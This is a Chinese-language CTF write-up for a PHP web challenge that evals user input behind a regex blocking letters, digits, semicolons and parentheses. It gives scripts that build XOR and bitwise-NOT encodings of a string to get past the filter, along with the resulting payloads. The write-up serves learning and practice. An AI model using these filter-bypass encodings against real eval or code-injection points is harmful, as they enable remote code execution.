有一道web题,源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php error_reporting(0); highlight_file(__FILE__); if (isset($_POST['code'])) { $code = $_POST['code']; if (!preg_match("/[A-Za-z0-9;()]/", $code)) { ob_start(); eval("echo " . $code . ";"); $output = ob_get_contents(); ob_clean(); if ($output === "guetctf") { echo getenv("FLAG"); } } }
|
很明显可以看到我们要构造 ‘ code=guetctf ’ 才能解开,但是正则表达式把所有的字母和数字都过滤掉了,因此我们要通过其他方法来进行绕过
一、异或
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php $myfile = fopen("xor_rce.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) {
if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[A-Za-z0-9;()]/i'; if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)^urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } }
} } fwrite($myfile,$contents); fclose($myfile); ?>
|
将上面的php脚本运行之后生成一个txt文档,里面包含了所有字符的异或构造结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import requests import urllib from sys import * import os
def action(arg): s1 = "" s2 = "" for i in arg: f = open("xor_rce.txt", "r") while True: t = f.readline() if t == "": break if t[0] == i: s1 += t[2:5] s2 += t[6:9] break f.close() output = "\"" + s1 + "\"^\"" + s2 + "\"" return output
while True: param = action(input("\nyour input:")) print(param)
|
接着运行上面的python脚本即可,运行结果:
1 2
| your input:guetctf "%07%08%05%08%03%08%06"^"%60%7d%60%7c%60%7c%60"
|
二、取反
直接在命令行中运行这个php脚本即可
1 2 3 4 5
| <?php fwrite(STDOUT,'your input: '); $input=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*]'.'~'.urlencode(~$input); ?>
|
运行结果:
1 2
| your input: guetctf [*]~%98%8A%9A%8B%9C%8B%99
|